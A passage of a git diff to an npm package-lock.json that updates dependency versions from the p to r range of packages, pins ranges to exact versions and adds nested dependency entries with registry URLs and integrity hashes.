"sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", + "dev": true + }, + "lcid": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", + "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", + "dev": true, + "requires": { + "invert-kv": "2.0.0" + } + } } }, "os-tmpdir": { @@ -13702,8 +14929,8 @@ "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "output-file-sync": { @@ -13712,9 +14939,9 @@ "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", "dev": true, "requires": { - "graceful-fs": "^4.1.4", - "mkdirp": "^0.5.1", - "object-assign": "^4.1.0" + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "object-assign": "4.1.1" } }, "p-defer": { @@ -13730,9 +14957,9 @@ "dev": true }, "p-is-promise": { - "version": "1.1.0", - "resolved": "http://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", - "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz", + "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==", "dev": true }, "p-limit": { @@ -13741,7 +14968,7 @@ "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", "dev": true, "requires": { - "p-try": "^1.0.0" + "p-try": "1.0.0" } }, "p-locate": { @@ -13750,15 +14977,24 @@ "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", "dev": true, "requires": { - "p-limit": "^1.1.0" + "p-limit": "1.3.0" } }, "p-map": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-1.2.0.tgz", - "integrity": "sha512-r6zKACMNhjPJMTl8KcFH4li//gkrXWfbD6feV8l6doRHlzljFWGJ2AP6iKaCJXyZmAUMOPtvbW7EXkbWO/pLEA==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz", + "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==", "dev": true }, + "p-retry": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-3.0.1.tgz", + "integrity": "sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==", + "dev": true, + "requires": { + "retry": "0.12.0" + } + }, "p-try": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", @@ -13766,20 +15002,20 @@ "dev": true }, "pako": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", - "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.10.tgz", + "integrity": "sha512-0DTvPVU3ed8+HNXOu5Bs+o//Mbdj9VNQMUOe9oKCwh8l0GNwpTDMKCWbRjgtD291AWnkAgkqA/LOnQS8AmS1tw==", "dev": true }, "parallel-transform": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", - "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz", + "integrity": "sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==", "dev": true, "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" + "cyclist": "1.0.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -13789,9 +15025,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -13800,13 +15036,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -13815,7 +15051,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -13826,20 +15062,36 @@ "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", "dev": true, "requires": { - "no-case": "^2.2.0" + "no-case": "2.3.2" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "requires": { + "callsites": "3.1.0" + }, + "dependencies": { + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==" + } } }, "parse-asn1": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", - "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==", + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz", + "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==", "dev": true, "requires": { - "asn1.js": "^4.0.0", - "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3" + "asn1.js": "4.10.1", + "browserify-aes": "1.2.0", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "pbkdf2": "3.0.17", + "safe-buffer": "5.1.1" } }, "parse-glob": { @@ -13849,10 +15101,10 @@ "dev": true, "optional": true, "requires": { - "glob-base": "^0.3.0", - "is-dotfile": "^1.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.0" + "glob-base": "0.3.0", + "is-dotfile": "1.0.3", + "is-extglob": "1.0.0", + "is-glob": "2.0.1" } }, "parse-json": { @@ -13860,16 +15112,22 @@ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "requires": { - "error-ex": "^1.2.0" + "error-ex": "1.3.2" } }, + "parse-passwd": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", + "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=", + "dev": true + }, "parseqs": { "version": "0.0.5", "resolved": "https://registry.npmjs.org/parseqs/-/parseqs-0.0.5.tgz", "integrity": "sha1-1SCKNzjkZ2bikbouoXNoSSGouJ0=", "dev": true, "requires": { - "better-assert": "~1.0.0" + "better-assert": "1.0.2" } }, "parseuri": { @@ -13878,13 +15136,13 @@ "integrity": "sha1-gCBKUNTbt3m/3G6+J3jZDkvOMgo=", "dev": true, "requires": { - "better-assert": "~1.0.0" + "better-assert": "1.0.2" } }, "parseurl": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", - "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=", + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", "dev": true }, "pascalcase": { @@ -13894,9 +15152,9 @@ "dev": true }, "path-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz", - "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", + "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", "dev": true }, "path-dirname": { @@ -13910,7 +15168,7 @@ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", "requires": { - "pinkie-promise": "^2.0.0" + "pinkie-promise": "2.0.1" } }, "path-is-absolute": { @@ -13946,9 +15204,9 @@ "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", "requires": { - "graceful-fs": "^4.1.2", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "graceful-fs": "4.1.11", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" } }, "pathval": { @@ -13963,11 +15221,11 @@ "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", "dev": true, "requires": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" } }, "pend": { @@ -13987,15 +15245,15 @@ "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "^4.0.3", - "extract-zip": "^1.6.5", - "fs-extra": "^1.0.0", - "hasha": "^2.2.0", - "kew": "^0.7.0", - "progress": "^1.1.8", - "request": "^2.81.0", - "request-progress": "^2.0.1", - "which": "^1.2.10" + "es6-promise": "4.2.4", + "extract-zip": "1.6.6", + "fs-extra": "1.0.0", + "hasha": "2.2.0", + "kew": "0.7.0", + "progress": "1.1.8", + "request": "2.85.0", + "request-progress": "2.0.1", + "which": "1.3.0" } }, "pify": { @@ -14013,7 +15271,7 @@ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", "requires": { - "pinkie": "^2.0.0" + "pinkie": "2.0.4" } }, "pkg-dir": { @@ -14022,7 +15280,7 @@ "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "requires": { - "find-up": "^2.1.0" + "find-up": "2.1.0" }, "dependencies": { "find-up": { @@ -14031,7 +15289,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } } } @@ -14039,18 +15297,49 @@ "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", - "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", - "dev": true + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==" }, "portfinder": { - "version": "1.0.17", - "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.17.tgz", - "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==", + "version": "1.0.25", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.25.tgz", + "integrity": "sha512-6ElJnHBbxVA1XSLgBp7G1FiCkQdlqGzuF7DswL5tcea+E8UpuvPU7beVAjjRwCioTS9ZluNbu+ZyRvgTsmqEBg==", "dev": true, "requires": { - "async": "^1.5.2", - "debug": "^2.2.0", - "mkdirp": "0.5.x" + "async": "2.6.3", + "debug": "3.2.6", + "mkdirp": "0.5.1" + }, + "dependencies": { + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "dev": true, + "requires": { + "lodash": "4.17.15" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "posix-character-classes": { @@ -14065,9 +15354,9 @@ "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", "dev": true, "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" + "chalk": "2.4.2", + "source-map": "0.6.1", + "supports-color": "5.5.0" }, "dependencies": { "ansi-styles": { @@ -14076,18 +15365,18 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -14103,23 +15392,23 @@ "dev": true }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "postcss-modules-extract-imports": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", - "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.1.tgz", + "integrity": "sha512-6jt9XZwUhwmRUhb/CkyJY020PYaPJsCyt3UjbaWo6XEbH/94Hmv6MP7fG2C5NDU/BcHzyGYxNtHvM+LTf9HrYw==", "dev": true, "requires": { - "postcss": "^6.0.1" + "postcss": "6.0.23" } }, "postcss-modules-local-by-default": { @@ -14128,8 +15417,8 @@ "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", "dev": true, "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" + "css-selector-tokenizer": "0.7.1", + "postcss": "6.0.23" } }, "postcss-modules-scope": { @@ -14138,8 +15427,8 @@ "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", "dev": true, "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" + "css-selector-tokenizer": "0.7.1", + "postcss": "6.0.23" } }, "postcss-modules-values": { @@ -14148,14 +15437,14 @@ "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", "dev": true, "requires": { - "icss-replace-symbols": "^1.1.0", - "postcss": "^6.0.1" + "icss-replace-symbols": "1.1.0", + "postcss": "6.0.23" } }, "postcss-value-parser": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz", - "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz", + "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==", "dev": true }, "prelude-ls": { @@ -14177,8 +15466,8 @@ "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=", "dev": true, "requires": { - "renderkid": "^2.0.1", - "utila": "~0.4" + "renderkid": "2.0.1", + "utila": "0.4.0" } }, "private": { @@ -14188,9 +15477,9 @@ "dev": true }, "process": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/process/-/process-0.5.2.tgz", - "integrity": "sha1-FjjYqONML0QKkduVq5rrZ3/Bhc8=", + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", "dev": true }, "process-nextick-args": { @@ -14210,7 +15499,7 @@ "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", "requires": { - "asap": "~2.0.3" + "asap": "2.0.6" } }, "promise-inflight": { @@ -14220,12 +15509,28 @@ "dev": true }, "prop-types": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", - "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", + "version": "15.7.2", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", + "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==", "requires": { - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" + "loose-envify": "1.4.0", + "object-assign": "4.1.1", + "react-is": "16.9.0" + }, + "dependencies": { + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "3.0.2" + } + }, + "react-is": { + "version": "16.9.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz", + "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==" + } } }, "prop-types-extra": { @@ -14233,26 +15538,18 @@ "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz", "integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==", "requires": { - "react-is": "^16.3.2", - "warning": "^3.0.0" - } - }, - "propagating-hammerjs": { - "version": "1.4.6", - "resolved": "https://registry.npmjs.org/propagating-hammerjs/-/propagating-hammerjs-1.4.6.tgz", - "integrity": "sha1-/tAOmwB2f/1C0U9bUxvEk+tnLjc=", - "requires": { - "hammerjs": "^2.0.6" + "react-is": "16.6.3", + "warning": "3.0.0" } }, "proxy-addr": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz", - "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.5.tgz", + "integrity": "sha512-t/7RxHXPH6cJtP0pRG6smSr9QJidhB+3kXu0KgXnbGYMgzEnUxRQ4/LDdfOwZEMyIh3/xHb8PX3t+lfL9z+YVQ==", "dev": true, "requires": { - "forwarded": "~0.1.2", - "ipaddr.js": "1.8.0" + "forwarded": "0.1.2", + "ipaddr.js": "1.9.0" } }, "prr": { @@ -14277,30 +15574,30 @@ "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "parse-asn1": "^5.0.0", - "randombytes": "^2.0.1", - "safe-buffer": "^5.1.2" + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "parse-asn1": "5.1.5", + "randombytes": "2.1.0", + "safe-buffer": "5.2.0" }, "dependencies": { "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", "dev": true } } }, "pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", "dev": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.4", + "once": "1.4.0" } }, "pumpify": { @@ -14309,9 +15606,21 @@ "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", "dev": true, "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" + "duplexify": "3.7.1", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "requires": { + "end-of-stream": "1.4.4", + "once": "1.4.0" + } + } } }, "punycode": { @@ -14354,11 +15663,16 @@ "dev": true }, "querystringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.0.tgz", - "integrity": "sha512-sluvZZ1YiTLD5jsqZcDmFyV2EwToyXZBfpoVOmktMmW+VEnhgakFHnasVph65fOjGPTWN0Nw3+XQaSeMayr0kg==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.1.tgz", + "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==", "dev": true }, + "rainge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", + "integrity": "sha1-VVKxChES2Ds8StdlB/JBQaUzAcE=" + }, "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", @@ -14366,8 +15680,8 @@ "dev": true, "optional": true, "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" + "is-number": "3.0.0", + "kind-of": "4.0.0" }, "dependencies": { "is-number": { @@ -14377,7 +15691,7 @@ "dev": true, "optional": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -14387,7 +15701,7 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -14399,18 +15713,18 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } }, "randombytes": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.6.tgz", - "integrity": "sha512-CIQ5OFxf4Jou6uOKe9t1AOgqpeU5fd70A8NPdHSGeYXqXsPe6peOwI0cUl88RWZ6sP1vPMV3avd/R6cZ5/sP1A==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": 